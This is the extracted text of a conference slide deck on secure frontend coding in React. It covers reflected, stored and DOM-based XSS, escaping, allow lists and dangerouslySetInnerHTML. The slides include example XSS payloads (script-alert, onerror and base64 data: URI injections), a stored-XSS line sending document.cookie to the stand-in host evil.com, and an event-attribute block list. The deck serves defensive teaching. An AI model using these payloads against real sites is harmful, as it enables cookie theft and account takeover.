45
APPROACH APPROACH TO WRITING SECURE FRONTEND IN TO WRITING SECURE FRONTEND IN CONTEXT OF REACT CONTEXT OF REACT Ivan Elkin Application Security Expert, Qiwi

"Подход к написанию безопасного клиентского кода на примере React", Иван Елкин, MoscowJS 25

Embed Size (px)

Citation preview

APPROACHAPPROACHTO WRITING SECURE FRONTEND INTO WRITING SECURE FRONTEND IN

CONTEXT OF REACTCONTEXT OF REACTIvan ElkinApplication Security Expert,

Qiwi

PLANPLAN1. Client Side vulnerabilities2. Prevention of vulners3. Prevention of vulners in ReactJS

1

CLIENT SIDE VULNERABILITIESCLIENT SIDE VULNERABILITIES

Is a lack of client-side logic or code whichprovides an attack vector which affects the

end user

(in browser context )

2

and the main pain is...

XSSXSS

3

3

1"><script>alert('HACKED!')

XSS XSS (CROSS SITE SCRIPTING)(CROSS SITE SCRIPTING)

In a common cases is a type of WEB-attack wheremalicious code

injected in a client-side code

4

XSS TYPESXSS TYPES

ReflectedStoredDOM-based

5

REFLECTED XSSREFLECTED XSS

Attack injection when malicious code has beeninjected

after single HTTP request

6

REFLECTED XSSREFLECTED XSS

onResponse: function(response) { var url = document.location; var username = getQueryParam(url, 'username'); var tpl = '<span>Hello {{username}} !</span>'; document.write(tpl.replace(/\{{username\}\}/, username)); }

http://socialnetwork.com/UserSearch?query=asd%22%3Cscript%3Ealert(1)%3C/script%3E

7

<span> Hello <script>alert(1)</script> !</span>

REFLECTED XSSREFLECTED XSS

8

$.get('/search?query=' + query) { success: function(user) { $('.search-list') .append('<div>username: ' + data.user.name + '</div>') .append('<div>username: ' + data.user.email + '</div>') } failure: function(error) { $('.search-list') .html('<div>There is nothing found for query: ' + error.query + '</div>'); }}

REFLECTED XSSREFLECTED XSS

9

<div>There is nothing found for query: asdasdasd"<script>alert(1)</script></div>

.html('<div>There is nothing found for query: ' + error.query + '</div>');

REFLECTED XSSREFLECTED XSS

10

?query=asdasdasd"<script>alert(1)</script>

so, if part of HTML has been injectedinto your code...

REFLECTED XSSREFLECTED XSS

11

STORED XSSSTORED XSS

Attack injection, where malicious code hasbeen stored on server in advance

12

STORED XSSSTORED XSS

13

<script type="text/javascript">

$.get('user_list', function(data) { var data = JSON.parse(data);

$.each(data, function(key, user) { $('.list-group').append( '<div class="user">' + '<div class="name">' + user.name + '</div>' + '<div class="title">' + user.email + '</div>' + '</div>' ); }); }); </script>

STORED XSSSTORED XSS

14

STORED XSSSTORED XSS

15

STORED XSSSTORED XSS

16

<div class="name"> Jane<script>$.get('//evil.com/'+document.cookie)</script> </div>

STORED XSSSTORED XSS

Samy...

17

MySpace...

... about 1 million friends in 20hours

DOM-BASED XSSDOM-BASED XSS

Unlike Reflected and Stored XSS, canwork without interaction with the server

18

DOM-BASED XSSDOM-BASED XSS

19

http://bank.com/payment?backUrl=http://market.com

$(document).ready(function() {

$('#btn-back').attr('href', getURLParameterByName('backUrl'))

});

DOM-BASED XSSDOM-BASED XSS

20

<a id="btn-back" href="&quot;&lt;script&gt;alert(1)&lt;/script&gt;">Back to Shop</a>

DOM-BASED XSSDOM-BASED XSS

http://bank.com/payment?backUrl="><script>alert(1)</script>

&quot;&lt;script&gt;alert(1)&lt;/script&gt;

21

$('#btn-back').attr('href', getURLParameterByName('backUrl'))

but we have one more case....

http://bank.com/payment?backUrl=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ')

"<script>alert(1)</script>"

DOM-BASED XSSDOM-BASED XSS

Base64

22

<a id="btn-back" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> Back to Shop </a>

HOW TO PROTECT MY SITE?HOW TO PROTECT MY SITE?Escaping HTMLEscaping AttributesEscaping JS dataEscaping JSON data Escaping CSS data

23

ESCAPINGESCAPING & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27; / --> &#x2F;

24

SAFE TEMPLATINGSAFE TEMPLATING <div class="json-data"> <%= data.to_json %>; </div>

btw, be careful !

25

{"user": { "name": "Jane", "email": "[email protected]", "title": "someone <a href='evil.com'>you</a> know", "mobilePhone": "5123354456" }}

<div class="json-data"> {"user": { "name": "Jane", "email": "[email protected]", "title": "someone <a href='evil.com'>you</a> know", "mobilePhone": "5123354456" }} </div>

<div class="avatar"> <img alt= onerror=alert(1) src=></div>

DETECT KEYWORDSDETECT KEYWORDS<div class="avatar"> <img alt={{avatar.name}} src={{avatar.image}}></div>

avatar: { name: ' onerror=alert(1)' image: ''}

avatar: { name: 'Me in Italy' image: '/images/aajkdshf2347jk/avatar.jpg'}

Handlebars, XTemplate and others... 26

DETECT KEYWORDSDETECT KEYWORDS

var forbidden = [ 'onerror', 'onmouseover', 'onclick'];

if (attribute in forbidden) { return false;}

What about onblur, onchange,onselect, etc. ?

Black Lists

27

var allowed = [ 'title', 'class', 'hidden', ....];

if (attribute in allowed) { add(attribute);}

BE ON A WHITE SIDEBE ON A WHITE SIDE

28

REACT-JSREACT-JS

one more JS framework...

...but it uses .jsx

29

REACT-JSREACT-JS

componentDidMount: function() { this.setState({ data: 'A long time ago in a galaxy far,<br/> far away...' })},

render: function () { return ( <Article className="article"> {this.state.data} </Article> );}

30

REACT-JSREACT-JS

31

REACT-JSREACT-JS

<div class="article" data-reactid=".0">

A long time ago in a galaxy far,&lt;br&gt; far away...

</div>

32

REACT-JSREACT-JS

dangerouslySetInnerHTML

Improper use of the innerHTML can open you up to a

attack. Sanitizing user input for display is notoriously error-prone, and failure to properly sanitize is one

of the on the internet.

cross-site scripting(XSS)

leading causes of web vulnerabilities

Google told me:

33

FACEBOOK TELLSFACEBOOK TELLS

function createMarkup() { return { __html: 'First <br/> Second' }; };

<div dangerouslySetInnerHTML={createMarkup()} />

34

WAT !? 0_o

WHAT IS UNDER THE WHAT IS UNDER THE HOOD ?HOOD ?

35

First of all, what innerHTML is ?

w3c

returns a serialization of the node's children

using the HTML syntax

REACT-JSREACT-JS

/** * @param {DOMElement} node * @param {string} html * @internal */var setInnerHTML = function(node, html) { node.innerHTML = html;};

36

...

if(props.dangerouslySetInnerHTML != null)

...

ReactDOMComponent.js

setInnerHTML.js

REACT-JSREACT-JS

/** * @param {DOMElement} node * @param {string} text * @internal */ var setTextContent = function(node, text) { node.textContent = text; };

otherwise...

w3c

returns the text content of this node and

its descendants...

< == &lt; > == &gt; 37

REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES

38

One more thing which surprised

REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES

<div data-reactid=".0"> My data </div>

render: function () { return (

; }

<div class="article text-header text-bold" onmouseenter={this.fadeIn} onmouseleave={this.fadeOut}> {this.state.data} </div> )

WAT !? 0_o39

REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES

SUPPORTED ATTRIBUTES SUPPORTED ATTRIBUTES React supports all data-* and aria-* attributes as well as every attribute in the following lists.

“ Note: All attributes are camel-cased and the attributes class and for are

className and htmlFor, respectively, to match the DOM API specification.

40

REACT-JS ATTRIBUTESREACT-JS ATTRIBUTES var HTMLDOMPropertyConfig = { isCustomAttribute: RegExp.prototype.test.bind( /^(data|aria)-[a-z_][a-z\d_.\-]*$/ ), Properties: { /** * Standard Properties */ accept: null, acceptCharset: null, accessKey: null, action: null, allowFullScreen: MUST_USE_ATTRIBUTE | HAS_BOOLEAN_VALUE, allowTransparency: MUST_USE_ATTRIBUTE, alt: null, async: HAS_BOOLEAN_VALUE, autoComplete: null, // autoFocus is polyfilled/normalized by AutoFocusMixin // autoFocus: HAS_BOOLEAN_VALUE, autoPlay: HAS_BOOLEAN_VALUE, cellPadding: null, cellSpacing: null, charSet: MUST_USE_ATTRIBUTE, checked: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE, classID: MUST_USE_ATTRIBUTE, 41

REACT-JS SEVERAL SIMPLE RULESREACT-JS SEVERAL SIMPLE RULESUse safe user input by defaultUse unsafe input only for special forms

Allow only known attributes Doesn't allow inline attribute data

<div> Hello, {{user.name}} </div>

<img src={{user.imgSrc}} alt={{user.title}} />

<div> Hello, <script>alert('you`ve been hacked')</script> </div>

<img src='' alt= newChromeParam=alert('You`ve been Hacked!')/>

<EndFrame onQuestions={this.doAnswer}> <Title> Thanx for your attention! </Title> </EndFrame>